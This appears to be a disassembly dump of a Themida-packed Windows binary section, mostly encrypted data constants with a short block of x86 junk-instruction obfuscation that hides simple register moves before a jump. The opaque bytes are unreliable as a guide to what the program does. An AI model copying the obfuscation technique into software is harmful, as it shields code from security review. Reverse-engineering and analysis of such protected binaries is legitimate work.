		dd 664787CFh, 3EDA0068h, 282C2584h, 2B69BD09h, 0C08B06A8h
		dd 2719529h, 8D8B06A8h,	6A82BD5h, 7E861h, 5C160000h, 1A05167Dh
		dd 0E7C0803Bh, 0BF0F605Eh, 1B501D0h, 6106A835h,	6905C681h
		dd 10E90000h, 5D000000h, 4538CC6Fh, 77062954h, 1012BF2Ah
		dd 0B911D81Ah, 0
		dd 1D89958Bh, 1C8B06A8h, 13E9520Eh, 73000000h, 9B0D4CA4h
		dd 0CDCA8B7Dh, 68BBA603h, 0BE820E1Fh, 81588DB3h, 168588F3h
		dd 0B1B58964h, 8106A80Dh, 954392F3h, 0FE960h, 85190000h
		dd 0A880FDC4h, 0DEF8FC05h, 0E7183AD4h, 62EB81D3h, 66293BCDh
		dd 537196B8h, 48FD18Ah,	11BD8B0Eh, 0F06A828h, 0E983FEBFh
		dd 399D8904h, 8106A831h, 0FF97D4F9h, 1C850FFFh,	89000000h
		dd 0A80FC185h, 25E906h,	7F140000h, 0EF949A27h, 1996CB4Ah
		dd 0A2F54A19h, 8BD91B47h, 0A830B595h, 0FF68E906h, 8109FFFFh
		dd 0BA000833h, 0E883AAEAh, 11h,	73C1712Ch, 9DDAA9A1h, 30007A0h
		dd 12F53AEBh, 6E81Eh, 17110000h, 8C5342F2h, 0B5895F59h
		dd 6A82DADh, 631FC781h,	81660000h, 0B8CA47D1h, 4D5C92E0h
		dd 85A9C081h, 8B60B2A3h, 0A80E3DB5h, 6171B706h,	0DE837FFh
		dd 0DA000000h, 0DBD19086h, 8AA75889h, 0E2C4542Ah, 219D9D89h
		dd 5E5A06A8h, 6E9h, 36762300h, 81EA337Bh, 0FD1528EEh, 0DD9D0350h
		dd 8106A801h, 418E3FC6h, 16C18173h, 81691ECCh, 6B64F2EEh
		dd 798D8B0Fh, 5606A82Ch, 0EE9h,	0C7CDC600h, 62A347BAh
		dd 20C6128Dh, 8F89FC44h, 6D958B07h, 8306A834h, 0F38004EFh
		dd 850F4800h, 25h, 8E9h, 7D4E7B00h, 0E1332880h,	35E952h
		dd 0AD750000h, 58FF08A8h, 0DD31684Dh, 7CBF74BEh, 2C153A0Bh
		dd 0BF0F60B8h, 7D8589CEh, 6106A822h, 0FFFF57E9h, 310587FFh
		dd 0FC81C8F0h, 8FA8654h, 0ED431B41h, 8D5AF32Eh,	0AD545D8Dh
		dd 893DB706h, 0A805B98Dh, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1904h,	0C3524200h, 0E745DDEEh
		dd 2CBBFA36h, 0C77B0D06h, 0A8146985h, 58C006h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1C04h, 0C3524200h
		dd 8953158Bh, 0A7D01BE0h, 0BD85C772h, 6A80Bh, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1B042444h
		dd 47000000h, 1558C357h, 0ED3DCC42h, 958BEEB8h,	6A80BEDh
		dd 0B5FFD08Bh, 6A80E01h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 1Bh, 58C35141h, 4D7893E7h,	8B90EA08h, 0A813FDB5h
		dd 0DD95FF06h, 0F06A820h, 8E9F2B7h, 9E000000h, 7372B7E6h
		dd 6AD14C28h, 3195FF00h, 8B06A81Bh, 0A549EBC0h,	0DE245E66h
		dd 8D7F128h, 0FDB109B4h, 30B62CEBh, 786264CAh, 2BC98462h
dword_59EE88	dd 478D294Dh, 71A6698Ch, 284E6C3Bh, 0B84F44C1h,	983E8620h
					; DATA XREF: Themida_:00556F91o
		dd 61455FDDh, 0A8371362h, 0E1DF7B52h, 0C7748646h, 8E0F727Bh
		dd 58952760h, 96C05AE3h, 17FD9D8Dh, 2AB806A8h, 89000000h
		dd 0A8255585h, 0E806h, 5580000h, 0Dh, 2AE90389h, 0
		dd 9 dup(77E600h), 0FF77E600h, 0EE8FFh,	56D80000h, 0F9F5891h
		dd 313D4855h, 72202418h, 68A0Fh, 0C2810000h, 6749F8ADh
		dd 8E858h, 732A0000h, 0A962A740h, 880FBDC5h, 13h, 0DE8h
		dd 9D451300h, 38B54071h, 0C2F6F9B4h, 5A59BEFDh,	5CC2C081h
		dd 0AFB90000h, 683FD5F4h, 1705h, 0FA54BF66h, 0C981665Bh
		dd 308B566Dh, 81CA8B66h, 0C987C5C6h, 0C681F86Dh, 63ABB7DFh
		dd 1E830Fh, 12E80000h, 1F000000h, 543B39FDh, 0A079E9F7h
		dd 0D1423883h, 65F51FB5h, 6CE9819Ch, 5A3A1261h,	3D4BF681h
		dd 20BF32E8h, 894F2A5Eh, 1E88330h, 137CB966h, 83484848h
		dd 850F01EBh, 0FFFFFFAAh, 7BE9h, 1DD8B500h, 6F685353h
		dd 75637472h, 6F742074h, 61747320h, 70757472h, 19h dup(0)
		dd 0E02E9h, 57C26800h, 0DE906ADh, 68FFFBF0h, 6AD58ABh
		dd 0FBF003E9h, 5A7368FFh, 0F9E906ADh, 68FFFBEFh, 6AD5AB9h
		dd 0FBEFEFE9h, 5B7A68FFh, 0E5E906ADh, 68FFFBEFh, 6AD5BE5h
		dd 0FBEFDBE9h, 5F7268FFh, 0D1E906ADh, 68FFFBEFh, 6AD6214h
		dd 0FBEFC7E9h, 630068FFh, 0BDE906ADh, 5CFFFBEFh, 0C5B9DA20h
		dd 72406593h, 0F6C4E915h, 6056778Bh, 3AE18278h,	0EA104832h
		dd 718FF5C9h, 0FB0F7E4Ch, 7F3E4DAh, 0F9195E66h,	580CA85Dh
		dd 0D2A09F18h, 4BD94DB9h, 0C4C7E410h, 46A8591Bh, 5BF9F373h
		dd 8F31E53Ch, 0A7F61F63h, 0DA15701h, 683ACEBFh,	82ABE47Ch
		dd 896728E8h, 561EF46Fh, 3A7Fh,	649FC000h, 10DBA268h, 0A92CEF7Dh
		dd 9DFD0240h, 5BF96D1Ch, 0D32CFE21h, 0CA58ACDFh, 0D67AA467h
		dd 6CA7F99Fh, 0EB0DE3ACh, 0FB561F6Fh, 766186F7h, 2E732382h
		dd 0D29A6Fh, 0D2A70000h, 4BD94DB9h, 0E331E51Fh,	8A7E6F88h
		dd 0B5D5162Bh, 5EA1FE19h, 58A2DE54h, 0A65205F9h, 60F2B5F4h
		dd 284DB9D2h, 0A1F9D536h, 2ADE895Eh, 0D7A7889h,	0EB9C2EF1h
		dd 7E748F1Fh, 0B83FFE00h, 8B23435Fh, 0E9A15E05h, 18990DF3h
		dd 86BB1A85h, 6067964h,	215A58A4h, 48D5FBB1h, 2988EA5Bh
		dd 57D62255h, 713459C8h, 72B9AE88h, 7B63880Eh, 47076798h
		dd 52A2AF79h, 38A02ED3h, 0CBB13DC2h, 0E57FAE51h, 0D2B57C5Ah
		dd 3D5EE140h, 0BEB1149h, 3F8F0705h, 0D4AC21B3h,	1000000Bh
		dd 81F5966Ch, 0E7C21D7h, 0BA08AD51h, 3C9233CFh,	7E1DBE44h
		dd 0A65C04F6h, 35CBB105h, 0BF4B2290h, 0CB3FA81Eh, 35559AAAh
		dd 580CA999h, 0D2645BD4h, 5B2F4CB6h, 60B7D420h,	8C78139Fh
		dd 0BE2B9B1Eh, 0CE51D042h, 53ECAE4Bh, 180D4F28h, 0BE01D0B2h
		dd 0F7982141h, 7AA55BF9h, 19DA76A8h, 0D060A7F6h, 0F5F711FFh
		dd 0BDE7561Eh, 0A6000000h, 0D5C3625Fh, 6928F8FFh, 3C5E9F76h
		dd 5EA1FE90h, 0B16C96F2h, 6C1FAF6Eh, 0CCB40A98h, 0A6C80936h
		dd 5EA1FE0Eh, 7D6AD84Bh, 72AC3E81h, 5EA1F991h, 2DD9B200h
		dd 48AFD86Ah, 0FA3FEF13h, 53047A1Bh, 6996F7A7h,	0E9F4162Bh
		dd 0CAA40606h, 96733A5Bh, 3CCB2BD4h, 81A2AF80h,	0F5EDE11Eh
		dd 0AB853151h, 51D0AC0Ch, 255D51EEh, 2BEA4FDFh,	0F60C744Ah
		dd 8EF70C14h, 0D538AA3Fh, 0AEBh, 0DEFF0579h, 6B08FEE8h
		dd 0F7946817h, 791AE683h, 6A75D05h, 736F0F67h, 0E896E489h
		dd 54017516h, 0DC8F03A0h, 36798B28h, 0CA6B8D4h,	85BCF558h
		dd 3B28B6D2h, 47258C49h, 348A2B8Ah, 316B743h, 8A76139Fh
		dd 0A4169918h, 0AE70A333h, 23A9E3FBh, 79D8BB45h, 906417A5h
		dd 0AADCD2F3h, 0B15EDD5Ch, 810D4EF3h, 0BC6225DBh, 5BF9A4F5h
		dd 0DB767BEh, 0A7F9A4E5h, 7022D687h, 3CAA4522h,	0AEB363C2h
		dd 0F298B11Eh, 799F715Eh, 65561F69h, 14h, 7A6EDCAh, 0ABEC0000h
		dd 0A1FE234Bh, 47376E5Eh, 3120E315h, 3BADFCE5h,	9CCB59CDh
		dd 8C6FB260h, 0B7F2142Dh, 785BF9D1h, 0B4277529h, 3CAF2340h
		dd 22A85AC8h, 0FA84B22Ch, 6C1F256Ah, 706B6798h,	5F600584h
		dd 0CFAE4224h, 0B2A207AFh, 14D352CCh, 6E31E6C2h, 0CF5FABDCh
		dd 39CDBE34h, 309A876h,	7265CCB2h, 0D5861486h, 0C9998D21h
		dd 85DEEFC6h, 0FAA85C09h, 0B84F4B7h, 8DB24631h,	3822A4Ch
		dd 0ACFCCB2h, 0B2034CE8h, 379609CCh, 0C8A31774h, 61B46E3Ch
		dd 0AE875869h, 9C681D91h, 1E246B1Dh, 86F4996Dh,	88D21D5h
		dd 7294ADEFh, 0C9EA1C97h, 0BA1DA58h, 0CA2E43EBh, 34970ED5h
		dd 830F3055h, 0FA9918E4h, 0BBF9E680h, 13494586h, 9F42AEDh
		dd 0EAD0923Ah, 0E97F86BBh, 5CD85AD9h, 5F8F682Bh, 0B071C340h
		dd 31CE8C75h, 0B02BC4BDh, 6411E544h, 1C9F0290h,	7EDA83E3h
		dd 4CD7FD48h, 0D0927FDEh, 913FD42Fh, 0BA117A88h, 0E65437C3h
		dd 7E8302F4h, 6DC9B13Dh, 0ABF4E10Dh, 9275ACFEh,	2D52CF13h
		dd 0C45FFBFDh, 30C4B73Bh, 0B84C3F93h, 7D02F8DAh, 18C1E54h
		dd 923h, 0A6C73DA1h, 3350A6D0h,	0BFDC205Fh, 41629ECBh
		dd 0CEEF154Dh, 2B57472Fh, 0A0DEACD1h, 1C493D5Eh, 84F7CBE8h
		dd 0EE315370h, 0CA4608Ch, 0CDE42D58h, 8874139Fh, 0A614971Ah
		dd 795DC135h, 8FCD23A2h, 8DDB01Dh, 7B6B0000h, 0FCEEDC81h
		dd 6E15690Ah, 0E49DF192h, 5B077B18h, 1559FCA1h,	0E6877D65h
		dd 7714EA90h, 0FD9E6A03h, 892ADE89h, 0BAD2347Bh, 0F7580CA4h
		dd 139F87BAh, 9D1C8E7Ah, 0FEEA0264h, 7CA75EA1h,	0AA5E09BDh
		dd 9A325495h, 0D75EA1FEh, 8659CD4Ch, 0CDBB5E08h, 7DD15033h
		dd 37DEFF05h, 446A3C3h,	0EA229BFBh, 940F5BF9h, 0DC9A7373h
		dd 0A24FE65Ah, 263F5FE0h, 936C6093h, 0DE3B8210h, 0C022639Ch
		dd 6E537C94h, 2FFBEE1h,	5A541E0h, 0E33726Bh, 4637DA80h
		dd 0AF50D3B2h, 8377606Eh, 0BF0F8E13h, 8B0738CCh, 307125DFh
		dd 0FFF30C71h, 8B71698Eh, 74377A28h, 0FD6195C6h, 0E764BA87h
		dd 1C82F361h, 0A8000008h, 0D9ADCE34h, 463459AFh, 0F2C0E519h
		dd 744A6B97h, 36D5F60Ch, 0DE245C3Eh, 6D93C9BDh,	0F7037A48h
		dd 3F7E0D6h, 0FD1D2262h, 580CA551h, 0D2BC931Ch,	4BD94DB9h
		dd 9DC5E612h, 5EA1FE91h, 0E8195B84h, 0FD2BD286h, 0BB44DF5Bh
		dd 13B04437h, 6A38CCBFh, 0A956ACD4h, 0D747BD25h, 0CD43D352h
		dd 0BA8E6C98h, 6C347109h, 7B197FEh, 4F370000h, 0C8A210B5h
		dd 0B2299D3Eh, 20592D4Eh, 9FCBBFDCh, 0D1A54065h, 2A4BB129h
		dd 0B3D02E54h, 395AAEDFh, 0C5E61245h, 0FE1678BFh, 0BB580CA5h
		dd 5E9F437Eh, 0A1FE903Ch, 0A33D855Eh, 7D9F42AAh, 2BF87FA6h
		dd 76639C60h, 2A5DF1B0h, 8DFE4CDEh, 6A17A579h, 7426D285h
		dd 72C05235h, 953EEC16h, 0C8FDD4FBh, 3AAD9738h,	0EB0DADCEh
		dd 0F35CC713h, 490h, 0BEFCE55Ch, 2B896181h, 2F565BFDh
		dd 413F29FFh, 6F9CB8BFh, 0AAF5682Bh, 9A6E1995h,	115BB2F9h
		dd 5700639Dh, 193A6EECh, 7184EAE2h, 23E2CB31h, 0F2097E51h
		dd 44BEE509h, 0EE509741h, 0C5EA5976h, 0FA1C7A3Dh, 0E4DCADD1h
		dd 42h,	4CB02FA3h, 0F2E5DACDh, 0CF6787B8h, 0E85EA1FEh
		dd 4779D09Dh, 45C43737h, 34BA47DEh, 66F4B743h, 0C344D0BCh
		dd 0E9A66A3Eh, 6014E107h, 10CD3Ch, 0ED520000h, 18Bh, 3F1591ECh
		dd 9C5373A2h, 0F2E50A1Dh, 5738EAB8h, 0D397BE22h, 587E903Fh
		dd 46E35AA2h, 3Ah, 7A139FEBh, 61880F8Eh, 19497B2Bh, 0BB97BE22h
		dd 0D16737C1h, 4CE80AA8h, 9D8326Ah, 2673796h, 5E745D72h
		dd 0FA7CE35h, 659AB6ECh, 13FDD2A2h, 0E35AF1F5h,	6CF9h
		dd 0F2E54600h, 0C3A63EABh, 0E44C7003h, 0A859389Bh, 0C447B32Ah
		dd 0DBB3DB3Bh, 0A7FE5EA1h, 0BC49F20Bh, 5EB01FF7h, 5CC77938h
		dd 618DED2Eh, 2C5EA1A0h, 36C532F5h, 6A000000h, 8B75139Fh
		dd 206A8D08h, 6E0E41Fh,	1D12CE53h, 0EB05659Ah, 0AA5EA19Eh
		dd 0B420D57Bh, 1EFA0D0h, 5CC772E7h, 6F99F3FFh, 75BACh
		dd 0EDE40000h, 0C7h, 97ED02h, 0E5020000h, 38EAB8F2h, 0ABF24143h
		dd 729C33C7h, 776CF54h,	45F11152h, 10F40E4Ah, 5BF90E91h
		dd 46000000h, 87B8F2E5h, 0A1FECF67h, 0E61B8A5Eh, 8609FDE8h
		dd 0E366EA14h, 3CDC3E81h, 0E25B7D93h, 31433CA6h, 0EC000000h
		dd 87B8F2E5h, 0A1FECF67h, 0E61B8A5Eh, 980AF0E8h, 0DA049619h
		dd 8381E396h, 14632CECh, 2C1BB3D3h, 0CF56CC7Eh,	0E50C2A4Ch
		dd 712EFA6h, 3F000000h,	46EDh, 0B9D20200h, 8A27D94Dh, 0DC5EA1FEh
		dd 169CEBA4h
		dd 23D98164h, 0CC4FD240h, 0D4F90D7Eh, 0B8F2E545h, 0D0327394h
		dd 5EA1FEA4h, 80EFAEF1h, 4A450BCFh, 0A203CA1Ch,	86A3C75Eh
		dd 6A5CC706h, 0FFFFFF47h, 282EDB7h, 0D2020000h,	4BD94DB9h
		dd 0C4C7E410h, 46A8591Bh, 5BF9F373h, 9133275Eh,	0FEED1E64h
		dd 189B7A8Ch, 56881A85h, 0A7F6613Ah, 13047F80h,	0F4EC43Eh
		dd 8B0BA3C3h, 0DF46A7F6h, 0C4CBBD7Ch, 0BE423FB3h, 0ACCA4DECh
		dd 561E878Ah, 3794h, 0FCE5BD00h, 586181BEh, 655BF9E2h
		dd 6FE053Ah, 2BB44D34h,	8C36A467h, 0A7F6D764h, 0E2953ADEh
		dd 880BF7ECh, 1E37C8EEh, 5BA7DE56h, 0F105CCF2h,	0DADE2BEAh
		dd 63000000h, 0D94DB9D2h, 31E51F4Bh, 0AE7C88E3h, 0FA9B6F18h
		dd 0A1F907E8h, 7480FB5Eh, 29498ACBh, 0A15E028Dh, 6D8959C8h
		dd 28A15E02h, 914272F9h, 9DD82A89h, 0D532791Ah,	0A4136A97h
		dd 74A31711h, 2F709110h, 5E95C5D4h, 0C06CAA27h,	8DD01366h
		dd 5DD5C3Fh, 0A40781F4h, 0A2D966B9h, 40DC370Fh,	0EB149701h
		dd 5C01FBE7h, 55FDD823h, 7D2EF62Eh, 0AF97E520h,	84BD1C68h
		dd 0F444CA62h, 9D1C87A7h, 0EB4BB129h, 34761861h, 2448C557h
		dd 0A0000004h, 0D1A5C63Ch, 5E2C51A7h, 0CAB8DD21h, 4C42639Fh
		dd 2ECDEE14h, 0D62C5446h, 659BC1B5h, 0EF1B7240h, 7B8FF8CEh
		dd 85E52A5Ah, 580CA169h, 9FB4EB24h, 188A7613h, 3CA41699h
		dd 169CA5C6h, 0A7179668h, 0C43FC034h, 0CBAFEA34h, 5439F8B1h
		dd 4DB9D2C5h, 0A5C506D9h, 5EA1FE09h, 1887716Bh,	0B215E19Ah
		dd 0DC2843F3h, 5113FCBFh, 0CC2E6FB0h, 5EA1FEA0h, 3288A5B5h
		dd 6A39BAEEh, 43A6783Bh, 0C5BF920h, 1E116C95h, 24E69543h
		dd 0FF5EA8C2h, 5A69E178h, 0EBAAD959h, 706A687Bh, 0B5DB0786h
		dd 16A7F93Ch, 0A7404D42h, 2B565CE5h, 856492C4h,	3C9DFD02h
		dd 1A2A123h, 51BEFD9Eh,	0DC8CEE13h, 0E1A94DBEh,	560D81BEh
		dd 8DF809AAh, 62147DD4h, 0A4A30694h, 9918B3CBh,	0A20F2349h
		dd 0DC285DB2h, 57F4BFh,	0E8130000h, 0CBCBA370h,	0DC295CF2h
		dd 960B7BFEh, 0BE4659D8h, 5EA1FE12h, 0B9DA9847h, 0B0629EC5h
		dd 0A1FEE60Eh, 1260E15Eh, 1FB7D775h, 5A5EA1FEh,	0D7A968CBh
		dd 59A5C2F8h, 0F0174634h, 18BD7185h, 35970E24h,	0BB0BEA2Ah
		dd 0C25033CDh, 0A1A7F120h, 0F5DAEA5Eh, 496A9ECFh, 6D649FD6h
		dd 0B755269Bh, 54A2D4A6h, 937461D5h, 0FFAF0EFAh, 5AC83CA9h
		dd 0B66492C4h, 11857960h, 28018E42h, 0F0CAC59Bh, 124C7185h
		dd 5EA14A82h, 0A4D2F793h, 80DE5CC7h, 63FFFFFFh,	0D94DB9D2h
		dd 0C7E4104Bh, 0F11D7DBEh, 0DE5EA1FEh, 0A1FE10BCh, 5FC25D5Eh
		dd 6DD8DAA0h, 23824351h, 0ADFCE560h, 0D455C937h, 23827466h
		dd 0A9D1DD1Eh, 805EC353h, 5EA1C454h, 0C23FFE21h, 0F9C929A0h
		dd 1B8B1A5Bh, 0F9E549E9h, 705FF3A7h, 1F2E789Eh,	546656h
		dd 0DE250000h, 53F6F641h, 0CB53E097h, 80954580h, 0EF4E58C2h
		dd 0BE21C9F2h, 66356181h, 2180A7F9h, 139F8F9Eh,	2157E878h
		dd 855756E0h, 2A317022h, 58AFC518h, 890C8FCDh, 0FD1D2260h
		dd 5BF9743Ch, 0D20C9E01h, 0A7F996BEh, 0B55B7404h, 561F7693h
		dd 0D49Bh, 0B9D2A400h, 48DA2C5Eh, 69406E9h, 0D103C45Ah
		dd 7CF54FB4h, 0C0BB099Dh, 0D4870B34h, 0BF0D6120h, 4B9B38CCh
		dd 5EA10E68h, 0C12E5B57h, 6CCD6197h, 0CFB80A8Dh, 0B3249A3Bh
		dd 8976D747h, 95F536CBh, 5EA10C79h, 0D52AED34h,	0FAF648B5h
		dd 0D9FA255Bh, 0CA7735D2h, 0A0821BA8h, 0C3B43AA2h, 43C26737h
		dd 7BBC45DCh, 27F70977h, 0D7B30382h, 0BEFB1373h, 6FB6AC0Fh
		dd 0EF9BEF8Ch, 0E2ADB115h, 198B3F8Dh, 182B4h, 649EC600h
		dd 0EF197347h, 7F83F8CEh, 8D71685Eh, 14EE9AE8h,	0FEA0D477h
		dd 675B7882h, 90E68779h, 1E6C11E5h, 0C8F4996Dh,	9CCF6787h
		dd 0D8A580Ch, 4CB6D212h, 0D9D5162Fh, 67CA58ACh,	0A1FE53FBh
		dd 0E3941E5Eh, 43228717h, 0A86B95F3h, 0F095611Ah, 0DAFCE521h
		dd 0CB54DAE7h, 0A85938C1h, 84706B67h, 0A145325Ah, 51FD1D5Eh
		dd 1C5EA145h, 4871E85h,	591E9BFBh, 80235BF9h, 7340F012h
		dd 56FAA7F9h, 9C719779h, 9B7D561Fh, 0C2000000h,	0D94DB9D2h
		dd 85F61F4Bh, 8918BD71h, 99820282h, 7B2B8A6Dh, 0A11B6649h
		dd 9B6F185Eh, 27D384FAh, 0ABE91677h, 0D9897496h, 5F6A5BFAh
		dd 2E61AC36h, 7D1E8152h, 6E93D13Eh, 0A0D4500Ch,	3DC25DA2h
		dd 8857C9B1h, 46351B1Eh, 46F8FE6h, 75D40307h, 0E59DF192h
		dd 0B3A9BF1Fh, 0ED7F3F8Dh, 9660h, 48B2D200h, 0D325572Bh
		dd 5BA7DCB2h, 0E11D443Ah, 6892CEBCh, 0D2CCA04Bh, 5B2F4CB6h
		dd 0DCB2D32Dh, 4A385DA9h, 0BCC0E511h, 9DF31B7Bh, 71BE580Ch
		dd 4CB6D25Eh, 0D4205B2Fh, 0B9D260B7h, 8806D94Dh, 257B2BDFh
		dd 55D446B2h, 0E88333F2h, 2798E31Ch, 6AD990A4h,	87066726h
		dd 0A6520B5Ah, 2DD2B5F4h, 0FD4311CDh, 91059C5Bh, 0FF9C6803h
		dd 7624D08Bh, 41400E4Ch, 49461E52h, 0CFEC1873h,	0A67480FBh
		dd 1956910h, 0B78D02CEh, 3F9330C4h, 6BEAB84Ch, 3, 0D2F1E088h
		dd 44DA48B2h, 0E137E713h, 1C9200F4h, 0B40A9866h, 0D66436CCh
		dd 4CC250AAh, 0E735E915h, 9604F8h, 14F2A056h, 15C268h
		dd 242C8900h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		push	1B40h
		mov	[esp], ebx
		push	63160CCBh
		pop	edx
		shl	edx, 6
		sub	edx, 4C6F5E41h
		add	edx, 8D99820Fh
		push	28DDh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		push	edx
		sub	dword ptr [esp], 4B8E0C0Ch
		pop	dword ptr [ebx+8]
		add	dword ptr [ebx+8], 4B8E0C0Ch
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		mov	edx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_55E058
; ---------------------------------------------------------------------------
		db 23h,	0F9h, 0B8h
		dd 6AD63BBh, 0E0FFC503h, 6A5FA7DBh, 3684D339h, 64CF3D79h
		dd 6575D4D0h, 0C48DC75h, 2AD7176Fh, 692C1234h, 61CF1247h
		dd 148FE34Dh, 25748D8Dh, 4741E323h, 31C1B072h, 2BD62867h
		dd 1ACB323Ch, 5C4AE588h, 121663B2h, 1EB4FAF5h, 52F1E21Ah
		dd 408A8CCBh, 1C7C7CC6h, 394CC40Fh, 7F069492h, 1BBC208Fh
		dd 94659DFh, 0B0E9h, 8C666000h,	4C2F6DAh, 0C850Fh, 853B0000h
		dd 6A831F9h, 36840Fh, 853B0000h, 6A80D2Dh, 2A840Fh, 853B0000h
		dd 6A8069Dh, 1E840Fh, 853B0000h, 6A82F69h, 12840Fh, 0BD830000h
		dd 6A80AB1h, 5840F01h, 0E9000000h, 5Fh,	5203D08Bh, 88BA8B3Ch
		dd 8B000000h, 0C985784Ah, 49840Fh, 0C2810000h, 0F8h, 30C728Bh
		dd 1C598BC8h, 314518Bh,	850B8BD8h, 10840FC9h, 3B000000h
		dd 17820FCEh, 3B000000h, 0F830FCFh, 83000000h, 0F4A04C3h
		dd 0FFFFDC85h, 0DE9FFh,	9D8D0000h, 6A84FAFh, 5B8h, 61E3FF00h
		dd 8DD00BC3h, 0AD66058Dh, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1B04h,	0C3564600h, 0B7E90DFAh
		dd 4B271FFh, 668DBE66h,	5B98D89h, 0BD3306A8h, 6A83301h
		dd 146985C7h, 609006A8h, 9D310000h, 6A82E61h, 0BBD85C7h
		dd 6A8h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h,	44810424h
		dd 1D0424h, 53430000h, 49D5BFC3h, 0B07A129h, 89A1FF67h
		dd 0A81DD18Dh, 11B5FF06h, 8B06A821h, 0E68166DAh, 95FFB592h
		dd 6A820DDh, 12E9h, 0E5227000h,	79818FF4h, 0D5EEB148h
		dd 0F79888F2h, 6A76BD4Dh, 3195FF00h, 8B06A81Bh,	0D66FEBC0h
		dd 14ACF015h, 0C21AF25Fh, 6BDCB239h, 0D3C5DF3Fh, 0EA5EF4CEh
		dd 62DB9416h, 0C9E21ED5h, 89AD7C09h, 0DB2E454Ah, 4D5C062Ch
		dd 7A38CB44h, 0B3F0C21Bh, 827D309Fh, 0D1BAE18Bh, 0C44CCD5Dh
		dd 226F139Ah, 620DBD7Ah, 83A65B47h, 0F65802E6h,	0D4284B13h
		dd 0FB5F931Ch, 0E61C5958h, 9EFE955h, 5623512Ah,	9C62E0BAh
		dd 0A20BA410h, 311CD28Dh, 5E9ED49h, 53000000h, 95880h
		dd 56EE9h, 99D07700h, 0C88DA20Dh, 0FEB7D172h, 2E6B07A8h
		dd 5B163798h, 0E13140CFh, 16B90D40h, 42ED3974h,	74DF6B22h
		dd 9A0298D1h, 3D020640h, 0BAC0B605h, 9D5CFF9Dh,	54D9B2FBh
		dd 0C3E7AACBh, 0D72763A5h, 0D97CAF57h, 0C81A1390h, 105DFE6Fh
		dd 82D43298h, 0DFF37D83h, 753A7EE9h, 91129FD6h,	0AD76BBF2h
		dd 0F558C580h, 0F5989F00h, 0DB581134h, 0B75DE9C2h, 3BBFF09h
		dd 0AE89AF58h, 4687A50Ah, 0F2BFE025h, 0AA837CADh, 0D891B31Ch
		dd 6DA8CA5Bh, 0A2380CDh, 604D8C11h, 5594B8BFh, 60867F36h
		dd 788FFA16h, 4CECA64Dh, 773E5DC6h, 97933553h, 6DAF5847h
		dd 75F556C2h, 0AF584732h, 80921398h, 12DFA694h,	8073h
		dd 5CFFD400h, 18528815h, 0FEE68578h, 0CD1B9DE0h, 0AF580BCBh
		dd 1BADCB31h, 0AF580C1Fh, 0B9D94AE5h, 3A7EAFF4h, 339CE041h
		dd 0F8B5D613h, 2F8962BBh, 0DFE39F8Bh, 127E12h, 0F6000000h
		dd 5E4F590Fh, 0BFC9FD70h, 0AF587D7Bh, 614AEE49h, 8A1752FFh
		dd 0FD121A5Ch, 92D60340h, 0B1F49906h, 0DA9FB36Ch, 0D67CFE55h
		dd 581774B4h, 440D2FAFh, 940FA982h, 3F5E410Bh, 0B8F02976h
		dd 8B1F5AF7h, 0FE4C0528h, 9B5EFFD1h, 3069B6FBh,	1F40A347h
		dd 0BC65C652h, 0ADED1F97h, 97AF57D6h, 662B4BBCh, 0DD7F208Dh
		dd 0F2960F94h, 0DAF376BBh, 0AF77DA59h, 0C26F2244h, 4BD44FE9h
		dd 69A1DB01h, 5BAF57D7h, 78B0CAF0h, 4AAF57D7h, 47E8B7E1h
		dd 6D56BC0Ah, 0F1885C0h, 0A66706A9h, 0FB67CC89h, 57D74941h
		dd 27103BAFh, 1840E14Eh, 876CCC51h, 0D4D01C1Eh,	89F712DFh
		dd 48000000h, 0AEEA1CBAh, 94AF57D6h, 91B27DBBh,	83AC2EDCh
		dd 0B3FA9AF0h, 13A53D6Eh, 9576A2BAh, 0E8C46C0Ch, 6FD0966Ch
		dd 4A29766Fh, 284950D1h, 0DD7E2165h, 0FC921390h, 7DD6D274h
		dd 62ACAF58h, 95ECBD6Eh, 524B247Bh, 1F806BCDh, 9595375Dh
		dd 6FAF5872h, 39662B4Ch, 0F5A1F7E0h, 12DF4FE9h,	43ECh
		dd 5EFF3700h, 6508E13h,	0D67C2065h, 0C51D0E93h,	10AAABD8h
		dd 0AF584218h, 0C06841EAh, 2F743D5Fh, 8A911299h, 3966A4E9h
		dd 763F59BAh, 95D07D22h, 0D6C7CE08h, 0A635AF57h, 0D601FDFDh
		dd 1E412DFh, 3F000000h,	0B93959BAh, 57D70B0Fh, 655EF9AFh
		dd 0E649EF38h, 0AFE28342h, 7E571E3Eh, 65CD7031h, 6E6675F8h
		dd 8F140D20h, 0FB387516h, 0DC41042Ah, 0C4692043h, 8D169DD3h
		dd 389BC30Eh, 0C4D55A17h, 2F36FF54h, 41FA4009h,	14B268D3h
		dd 0A09FB2C2h, 0A06A84CBh, 0AF586968h, 68CCCC7Eh, 9DB6AF58h
		dd 0ACB6E24Dh, 0A916F406h, 43DADE68h, 8FA8AF58h, 5E05BF77h
		dd 0F4AD0CDAh, 50B3B5FFh, 0EE3F642Dh, 6AB844Ah,	1008B2D8h
		dd 0F2B5FFF5h, 2D50DF59h, 0DE7D2664h, 0C6C00A97h, 32B5FFF4h
		dd 52F1F8B9h, 741EF1Bh,	0B5FFF503h, 59F556C1h, 1286971Ch
		dd 0CD6142A8h, 0DC7F2088h, 0F4970895h, 7FCF09BDh, 21FEFF35h
		dd 0DBDF699Dh, 0A9B600CAh, 0E8B92A8Eh, 8387C145h, 41B600CBh
		dd 0EFB0FDD6h, 0E7990643h, 2D94238Ch, 0C0684BF1h, 0CBF32489h
		dd 0B600CACFh, 0A51E9AB5h, 1F56F5FCh, 2B6608EBh, 0BB97078Dh
		dd 42147722h, 109h, 0EB5E7E5h, 1F5AF7D8h, 8F355399h, 57D73D7Dh
